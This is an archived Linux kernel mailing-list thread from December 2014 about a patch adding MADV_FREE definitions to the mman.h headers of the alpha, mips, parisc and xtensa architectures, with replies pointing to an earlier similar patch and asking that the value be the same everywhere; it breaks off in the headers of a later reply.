	<rfc822;linux-alpha@vger.kernel.org>); Mon, 1 Dec 2014 15:41:25 -0500
Original-Received: by mail-pa0-f41.google.com with SMTP id rd3so11893524pab.0
        for <multiple recipients>; Mon, 01 Dec 2014 12:41:25 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :content-type:content-transfer-encoding;
        bh=A7E75woH+ZUFWug5UW6V5RNoSJDbxFaryl+jr8Y/tOE=;
        b=L4gdNirVqvj1Y3dyvo9gmFC5kHDBPMrer4qgXIiIQ9UVh6KNahR+qWfWolqsS9WPWH
         pZPQzs1LsN8M2K+jBnscC1BIdLBqLB/9UYHA/PqY3n15jlyreH+g0cOUe7l9kQr0LAIa
         yu3vyYuKa35wKJIi05DAB4vL9NdNrdyUAd0cUJ8aM1Pv4vdLxiuuGP+2W9p91oRAiBq8
         XKCwJXqfZK/Ssyr8VKQW37yHyfVs75NnT33lHEAZzeI8Np9X1U0vW6q6jCVuR/eetcJR
         Yyolo0qny9x09B8bw0bgyG+EdZA7E2dBOr1pgpb6umzTjkRSodifuNPzZEXzDw80MdJ6
         bn9Q==
X-Received: by 10.68.195.41 with SMTP id ib9mr103135671pbc.15.1417466485142;
        Mon, 01 Dec 2014 12:41:25 -0800 (PST)
Original-Received: from [192.168.1.102] ([223.72.65.11])
        by mx.google.com with ESMTPSA id qc8sm18361993pdb.70.2014.12.01.12.41.19
        for <multiple recipients>
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Mon, 01 Dec 2014 12:41:23 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2542 gmane.linux.ports.mips.general:45682 gmane.linux.ports.parisc:25488 gmane.linux.kernel:1841656
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2542>

At present, kernel supports madvise(MADV_FREE), so can benefit to all
related architectures (can grep MADV_WILLNEED or MADV_REMOVE in "arch/"
to know about all related architectures).

The related git commit: "4fb10ba mm: support madvise(MADV_FREE)".

The related error (with allmodconfig under parisc):

    CC      mm/madvise.o
  mm/madvise.c: In function 'madvise_need_mmap_write':
  mm/madvise.c:42:7: error: 'MADV_FREE' undeclared (first use in this function)
    case MADV_FREE:
       ^
  mm/madvise.c:42:7: note: each undeclared identifier is reported only once for each function it appears in
  mm/madvise.c: In function 'madvise_vma':
  mm/madvise.c:534:7: error: 'MADV_FREE' undeclared (first use in this function)
    case MADV_FREE:
       ^
  mm/madvise.c: In function 'madvise_behavior_valid':
  mm/madvise.c:561:7: error: 'MADV_FREE' undeclared (first use in this function)
    case MADV_FREE:
       ^
  make[1]: *** [mm/madvise.o] Error 1
  make: *** [mm] Error 2

Signed-off-by: Chen Gang <gang.chen.5i5j@gmail.com>
---
 arch/alpha/include/uapi/asm/mman.h  | 1 +
 arch/mips/include/uapi/asm/mman.h   | 1 +
 arch/parisc/include/uapi/asm/mman.h | 1 +
 arch/xtensa/include/uapi/asm/mman.h | 1 +
 4 files changed, 4 insertions(+)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 0086b47..836fbd4 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -44,6 +44,7 @@
 #define MADV_WILLNEED	3		/* will need these pages */
 #define	MADV_SPACEAVAIL	5		/* ensure resources are available */
 #define MADV_DONTNEED	6		/* don't need these pages */
+#define MADV_FREE	7		/* free pages only if memory pressure */
 
 /* common/generic parameters */
 #define MADV_REMOVE	9		/* remove these pages & resources */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index cfcb876..106e741 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -67,6 +67,7 @@
 #define MADV_SEQUENTIAL 2		/* expect sequential page references */
 #define MADV_WILLNEED	3		/* will need these pages */
 #define MADV_DONTNEED	4		/* don't need these pages */
+#define MADV_FREE	5		/* free pages only if memory pressure */
 
 /* common parameters: try to keep these consistent across architectures */
 #define MADV_REMOVE	9		/* remove these pages & resources */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..6cb8db7 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -40,6 +40,7 @@
 #define MADV_SPACEAVAIL 5               /* insure that resources are reserved */
 #define MADV_VPS_PURGE  6               /* Purge pages from VM page cache */
 #define MADV_VPS_INHERIT 7              /* Inherit parents page size */
+#define MADV_FREE	8		/* free pages only if memory pressure */
 
 /* common/generic parameters */
 #define MADV_REMOVE	9		/* remove these pages & resources */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 201aec0..1b19f25 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -80,6 +80,7 @@
 #define MADV_SEQUENTIAL	2		/* expect sequential page references */
 #define MADV_WILLNEED	3		/* will need these pages */
 #define MADV_DONTNEED	4		/* don't need these pages */
+#define MADV_FREE	5		/* free pages only if memory pressure */
 
 /* common parameters: try to keep these consistent across architectures */
 #define MADV_REMOVE	9		/* remove these pages & resources */
-- 
1.9.3
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Chen Gang <gang.chen.5i5j@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.kernel
Subject: [PATCH] arch: uapi: asm: mman.h: Support MADV_FREE for madvise()
Date: Tue, 02 Dec 2014 04:43:48 +0800
Lines: 88
Approved: news@gmane.org
Message-ID: <547CD304.20407@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1417466524 19274 80.91.229.3 (1 Dec 2014 20:42:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Dec 2014 20:42:04 +0000 (UTC)
Cc: "linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Arnd Bergmann <arnd@arndb.de>,
	Geert Uytterhoeven <geert@linux-m68k.org>
To: "akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	minchan@kernel.org, "rth@twiddle.net" <rth@twiddle.net>,
	"ink@jurassic.park.msu.ru" <ink@jurassic.park.msu.ru>,
	"mattst88@gmail.com" <mattst88@gmail.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"jejb@parisc-linux.org" <jejb@parisc-linux.org>,
	"deller@gmx.de" <deller@gmx.de>,
	"chris@zankel.net" <chris@zankel.net>,
	"jcmvbkbc@gmail.com" <jcmvbkbc@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 01 21:41:56 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XvXnA-0001pW-7T
	for glpp-linux-parisc@plane.gmane.org; Mon, 01 Dec 2014 21:41:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932439AbaLAUlz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 1 Dec 2014 15:41:55 -0500
Original-Received: from mail-pd0-f182.google.com ([209.85.192.182]:52637 "EHLO
	mail-pd0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932158AbaLAUlz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 1 Dec 2014 15:41:55 -0500
Original-Received: by mail-pd0-f182.google.com with SMTP id r10so11525747pdi.41
        for <multiple recipients>; Mon, 01 Dec 2014 12:41:54 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=message-id:date:from:user-agent:mime-version:to:cc:subject
         :content-type:content-transfer-encoding;
        bh=A7E75woH+ZUFWug5UW6V5RNoSJDbxFaryl+jr8Y/tOE=;
        b=CGWBeEhuLB58w9hlKeQQ5hhV/60UK+Y6CApKa0dwBrkXdb4fpo/yelgc1aDQg6d41/
         kDv+Tb9VYCuB66usDFV73gfJRp46Nz7hXH0t0bC1D43GpiqoY4m7jmnKFkErJhbWypdc
         pY8GDpurWzr9X14PGpM3azUsg6j5gilwkdaRxgiW1zWemsiImGDVv5BwpNDXOFfla8uQ
         92fKnFumLnQOMK+K4a+z7iRBxIDvwE0nmTNWcq1cFOuUw5U9UezNtChRJ0oDxFO424Fl
         wIgviiROkc5Cx0bjMiM9oennPNUUBruozcXtuDd/wf5sus3x+qJt3nQFQuirzHcLjciz
         cUaQ==
X-Received: by 10.66.231.200 with SMTP id ti8mr16671255pac.41.1417466514354;
        Mon, 01 Dec 2014 12:41:54 -0800 (PST)
Original-Received: from [192.168.1.102] ([223.72.65.11])
        by mx.google.com with ESMTPSA id lg8sm18443187pab.41.2014.12.01.12.41.48
        for <multiple recipients>
        (version=TLSv1 cipher=RC4-SHA bits=128/128);
        Mon, 01 Dec 2014 12:41:53 -0800 (PST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130625 Thunderbird/17.0.7
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25489 gmane.linux.ports.alpha:2543 gmane.linux.ports.mips.general:45683 gmane.linux.kernel:1841657
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25489>

At present, kernel supports madvise(MADV_FREE), so can benefit to all
related architectures (can grep MADV_WILLNEED or MADV_REMOVE in "arch/"
to know about all related architectures).

The related git commit: "4fb10ba mm: support madvise(MADV_FREE)".

The related error (with allmodconfig under parisc):

    CC      mm/madvise.o
  mm/madvise.c: In function 'madvise_need_mmap_write':
  mm/madvise.c:42:7: error: 'MADV_FREE' undeclared (first use in this function)
    case MADV_FREE:
       ^
  mm/madvise.c:42:7: note: each undeclared identifier is reported only once for each function it appears in
  mm/madvise.c: In function 'madvise_vma':
  mm/madvise.c:534:7: error: 'MADV_FREE' undeclared (first use in this function)
    case MADV_FREE:
       ^
  mm/madvise.c: In function 'madvise_behavior_valid':
  mm/madvise.c:561:7: error: 'MADV_FREE' undeclared (first use in this function)
    case MADV_FREE:
       ^
  make[1]: *** [mm/madvise.o] Error 1
  make: *** [mm] Error 2

Signed-off-by: Chen Gang <gang.chen.5i5j@gmail.com>
---
 arch/alpha/include/uapi/asm/mman.h  | 1 +
 arch/mips/include/uapi/asm/mman.h   | 1 +
 arch/parisc/include/uapi/asm/mman.h | 1 +
 arch/xtensa/include/uapi/asm/mman.h | 1 +
 4 files changed, 4 insertions(+)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 0086b47..836fbd4 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -44,6 +44,7 @@
 #define MADV_WILLNEED	3		/* will need these pages */
 #define	MADV_SPACEAVAIL	5		/* ensure resources are available */
 #define MADV_DONTNEED	6		/* don't need these pages */
+#define MADV_FREE	7		/* free pages only if memory pressure */
 
 /* common/generic parameters */
 #define MADV_REMOVE	9		/* remove these pages & resources */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index cfcb876..106e741 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -67,6 +67,7 @@
 #define MADV_SEQUENTIAL 2		/* expect sequential page references */
 #define MADV_WILLNEED	3		/* will need these pages */
 #define MADV_DONTNEED	4		/* don't need these pages */
+#define MADV_FREE	5		/* free pages only if memory pressure */
 
 /* common parameters: try to keep these consistent across architectures */
 #define MADV_REMOVE	9		/* remove these pages & resources */
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..6cb8db7 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -40,6 +40,7 @@
 #define MADV_SPACEAVAIL 5               /* insure that resources are reserved */
 #define MADV_VPS_PURGE  6               /* Purge pages from VM page cache */
 #define MADV_VPS_INHERIT 7              /* Inherit parents page size */
+#define MADV_FREE	8		/* free pages only if memory pressure */
 
 /* common/generic parameters */
 #define MADV_REMOVE	9		/* remove these pages & resources */
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 201aec0..1b19f25 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -80,6 +80,7 @@
 #define MADV_SEQUENTIAL	2		/* expect sequential page references */
 #define MADV_WILLNEED	3		/* will need these pages */
 #define MADV_DONTNEED	4		/* don't need these pages */
+#define MADV_FREE	5		/* free pages only if memory pressure */
 
 /* common parameters: try to keep these consistent across architectures */
 #define MADV_REMOVE	9		/* remove these pages & resources */
-- 
1.9.3
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Max Filippov <jcmvbkbc@gmail.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] arch: uapi: asm: mman.h: Support MADV_FREE for madvise()
Date: Mon, 1 Dec 2014 23:52:01 +0300
Lines: 17
Approved: news@gmane.org
Message-ID: <CAMo8BfKg=eb7wA2O+cKO+oLDDERh2CKBS7dyAvfqvCESEHWYEg@mail.gmail.com>
References: <547CD304.20407@gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1417467134 29214 80.91.229.3 (1 Dec 2014 20:52:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Dec 2014 20:52:14 +0000 (UTC)
Cc: "akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	"rth@twiddle.net" <rth@twiddle.net>,
	"ink@jurassic.park.msu.ru" <ink@jurassic.park.msu.ru>,
	"mattst88@gmail.com" <mattst88@gmail.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"jejb@parisc-linux.org" <jejb@parisc-linux.org>,
	"deller@gmx.de" <deller@gmx.de>,
	"chris@zankel.net" <chris@zankel.net>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Arnd Bergmann <arnd@arndb.de>,
	Geert Uytterhoeven <geert@linux-m68k.org>
To: Chen Gang <gang.chen.5i5j@gmail.com>,
	Minchan Kim <minchan@kernel.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Mon Dec 01 21:52:07 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XvXwz-0006D8-HS
	for lnx-linux-alpha@plane.gmane.org; Mon, 01 Dec 2014 21:52:05 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932080AbaLAUwE (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Mon, 1 Dec 2014 15:52:04 -0500
Original-Received: from mail-ob0-f170.google.com ([209.85.214.170]:38068 "EHLO
	mail-ob0-f170.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932238AbaLAUwC (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Mon, 1 Dec 2014 15:52:02 -0500
Original-Received: by mail-ob0-f170.google.com with SMTP id wp18so8712513obc.1
        for <multiple recipients>; Mon, 01 Dec 2014 12:52:01 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=/juu/UmLjIVnV7w6WjxWVcXG3SUcit2cjwRHvGixCZE=;
        b=QsSOAf4ElNm55jpBRxTjuf5bhiaCMIwmt/CZWGuevy3MbrboFf0v3vRvPiWFbpFYLk
         e/Ob7COT+FhwN1bjvVdPNs84BoHVQgBU/0QEIhjZ0st93is1e64YjIKvEBnamKqzzRfj
         fnjF89NfjdjXlW6JeIAhtJTIVo1XaiOYr6uACIvzXI8i0WYGFNnS4pKkr8OqK42P5eMz
         fr+AYvnaaDPoBhbF3tl7ek5x9MuOdDqZ2Umha+JowKNT/FykTEGwncnuwQJHqPkOju7s
         aRgGXifOWVdFfThXIDrckPKXtcsdzjRPqq0DcnRO84IE3zjYCXcDWJKhbchN/5lhCof/
         B7CA==
X-Received: by 10.202.181.213 with SMTP id e204mr19808687oif.117.1417467121607;
 Mon, 01 Dec 2014 12:52:01 -0800 (PST)
Original-Received: by 10.76.90.100 with HTTP; Mon, 1 Dec 2014 12:52:01 -0800 (PST)
In-Reply-To: <547CD304.20407@gmail.com>
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2544 gmane.linux.ports.mips.general:45684 gmane.linux.ports.parisc:25490 gmane.linux.kernel:1841668
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2544>

On Mon, Dec 1, 2014 at 11:43 PM, Chen Gang <gang.chen.5i5j@gmail.com> wrote:
> At present, kernel supports madvise(MADV_FREE), so can benefit to all
> related architectures (can grep MADV_WILLNEED or MADV_REMOVE in "arch/"
> to know about all related architectures).

A similar patch has been posted a while ago:

http://www.spinics.net/lists/linux-mm/msg81538.html

-- 
Thanks.
-- Max
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] arch: uapi: asm: mman.h: Support MADV_FREE for madvise()
Date: Mon, 1 Dec 2014 22:35:40 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <CAMuHMdXHAZFujShNnAHY8BRv85ncrtcRvRgPS0Br0T9gSxZ+1A@mail.gmail.com>
References: <547CD304.20407@gmail.com>
	<CAMo8BfKg=eb7wA2O+cKO+oLDDERh2CKBS7dyAvfqvCESEHWYEg@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1417469752 7018 80.91.229.3 (1 Dec 2014 21:35:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Dec 2014 21:35:52 +0000 (UTC)
Cc: Chen Gang <gang.chen.5i5j@gmail.com>,
	Minchan Kim <minchan@kernel.org>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	"rth@twiddle.net" <rth@twiddle.net>,
	"ink@jurassic.park.msu.ru" <ink@jurassic.park.msu.ru>,
	"mattst88@gmail.com" <mattst88@gmail.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"jejb@parisc-linux.org" <jejb@parisc-linux.org>,
	"deller@gmx.de" <deller@gmx.de>,
	"chris@zankel.net" <chris@zankel.net>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Arnd Bergmann <arnd@arndb.de>
To: Max Filippov <jcmvbkbc@gmail.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Mon Dec 01 22:35:44 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XvYdD-0007X3-TB
	for lnx-linux-alpha@plane.gmane.org; Mon, 01 Dec 2014 22:35:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932459AbaLAVfn (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Mon, 1 Dec 2014 16:35:43 -0500
Original-Received: from mail-lb0-f174.google.com ([209.85.217.174]:61003 "EHLO
	mail-lb0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932421AbaLAVfm (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Mon, 1 Dec 2014 16:35:42 -0500
Original-Received: by mail-lb0-f174.google.com with SMTP id w7so9278672lbi.5
        for <multiple recipients>; Mon, 01 Dec 2014 13:35:40 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:sender:in-reply-to:references:date:message-id:subject
         :from:to:cc:content-type;
        bh=ZjnllyIdMDtRpOgSeN0gKrDopDdIp4X1YIMsagSNOXM=;
        b=ZHtg7s9gmbPuH9dxDMbw+pLLW7fPdFOhaW0ahIMwga9oHre0uDmURc6Uq3I1X2DbVf
         MDFWLZCQZMVnZptvBAsV6LSpML4iDTmr05cnNWhOfD3cTWBZ6gGn5/5kPeQJVgOp6CUC
         DNggtI9zOclRQFJjuxl0rwupP8ceTIrb+ZUg7ATzx09qQHN7YZhLmpVpNJv2JCo5Ik9V
         V/WBVk5zLbiy8nt8A2G68VGIF/U/vXNbatOFyxS3BEODa3bib7jUR+nAp4swRF63eC/o
         2SQjhgoY1bTBVRLFrL8T4pqnhjo7WPvRBRVqbJUloxFpjyFyjUeiK55W3xXAug6e5Yl0
         n7iw==
X-Received: by 10.112.184.70 with SMTP id es6mr59117979lbc.85.1417469740436;
 Mon, 01 Dec 2014 13:35:40 -0800 (PST)
Original-Received: by 10.152.106.178 with HTTP; Mon, 1 Dec 2014 13:35:40 -0800 (PST)
In-Reply-To: <CAMo8BfKg=eb7wA2O+cKO+oLDDERh2CKBS7dyAvfqvCESEHWYEg@mail.gmail.com>
X-Google-Sender-Auth: 6VXdUw5xZXDfZMZhVlK_VZQ8NFY
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:2545 gmane.linux.ports.mips.general:45685 gmane.linux.ports.parisc:25491 gmane.linux.kernel:1841702
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/2545>

On Mon, Dec 1, 2014 at 9:52 PM, Max Filippov <jcmvbkbc@gmail.com> wrote:
> On Mon, Dec 1, 2014 at 11:43 PM, Chen Gang <gang.chen.5i5j@gmail.com> wrote:
>> At present, kernel supports madvise(MADV_FREE), so can benefit to all
>> related architectures (can grep MADV_WILLNEED or MADV_REMOVE in "arch/"
>> to know about all related architectures).
>
> A similar patch has been posted a while ago:
>
> http://www.spinics.net/lists/linux-mm/msg81538.html

Would it be possible to use the same number everywhere?

Gr{oetje,eeting}s,

                        Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
                                -- Linus Torvalds
--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] arch: uapi: asm: mman.h: Support MADV_FREE for madvise()
Date: Mon, 1 Dec 2014 17:01:58 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <CAE2sS1hDXqLvF9yY5-3d4pmDPiQy8aQ1fYov3_+BKM8uQ3ZSwA@mail.gmail.com>
References: <547CD304.20407@gmail.com>
	<CAMo8BfKg=eb7wA2O+cKO+oLDDERh2CKBS7dyAvfqvCESEHWYEg@mail.gmail.com>
	<CAMuHMdXHAZFujShNnAHY8BRv85ncrtcRvRgPS0Br0T9gSxZ+1A@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1417471331 32416 80.91.229.3 (1 Dec 2014 22:02:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 1 Dec 2014 22:02:11 +0000 (UTC)
Cc: Max Filippov <jcmvbkbc@gmail.com>,
	Chen Gang <gang.chen.5i5j@gmail.com>,
	Minchan Kim <minchan@kernel.org>,
	"akpm@linux-foundation.org" <akpm@linux-foundation.org>,
	"rth@twiddle.net" <rth@twiddle.net>,
	"ink@jurassic.park.msu.ru" <ink@jurassic.park.msu.ru>,
	"mattst88@gmail.com" <mattst88@gmail.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"jejb@parisc-linux.org" <jejb@parisc-linux.org>,
	"deller@gmx.de" <deller@gmx.de>,
	"chris@zankel.net" <chris@zankel.net>,
	"linux-alpha@vger.kernel.org" <linux-alpha@vger.kernel.org>,
	"linux-mips@linux-mips.org" <linux-mips@linux-mips.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>,
	"linux-xtensa@linux-xtensa.org" <linux-xtensa@linux-xtensa.org>,
	"linux-kernel@vger.kernel.org" <linux-kernel@vger.kernel.org>,
	Arnd Bergmann <arnd@arndb.de>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Mon Dec 01 23:02:04 2014
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1XvZ2f-0001MS-Iv
	for lnx-linux-alpha@plane.gmane.org; Mon, 01 Dec 2014 23:02:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932493AbaLAWCA (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Mon, 1 Dec 2014 17:02:00 -0500
Original-Received: from mail-ig0-f171.google.com ([209.85.213.171]:58812 "EHLO
	mail-ig0-f171.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S932476AbaLAWB7 (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>); Mon, 1 Dec 2014 17:01:59 -0500
Original-Received: by mail-ig0-f171.google.com with SMTP id z20so9819777igj.4
        for <linux-alpha@vger.kernel.org>; Mon, 01 Dec 2014 14:01:58 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=systemhalted.org; s=google;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=DrOd4RDPgHNfGsFWzyxPL3GUP3lTDwXTVw3j0vruAgM=;
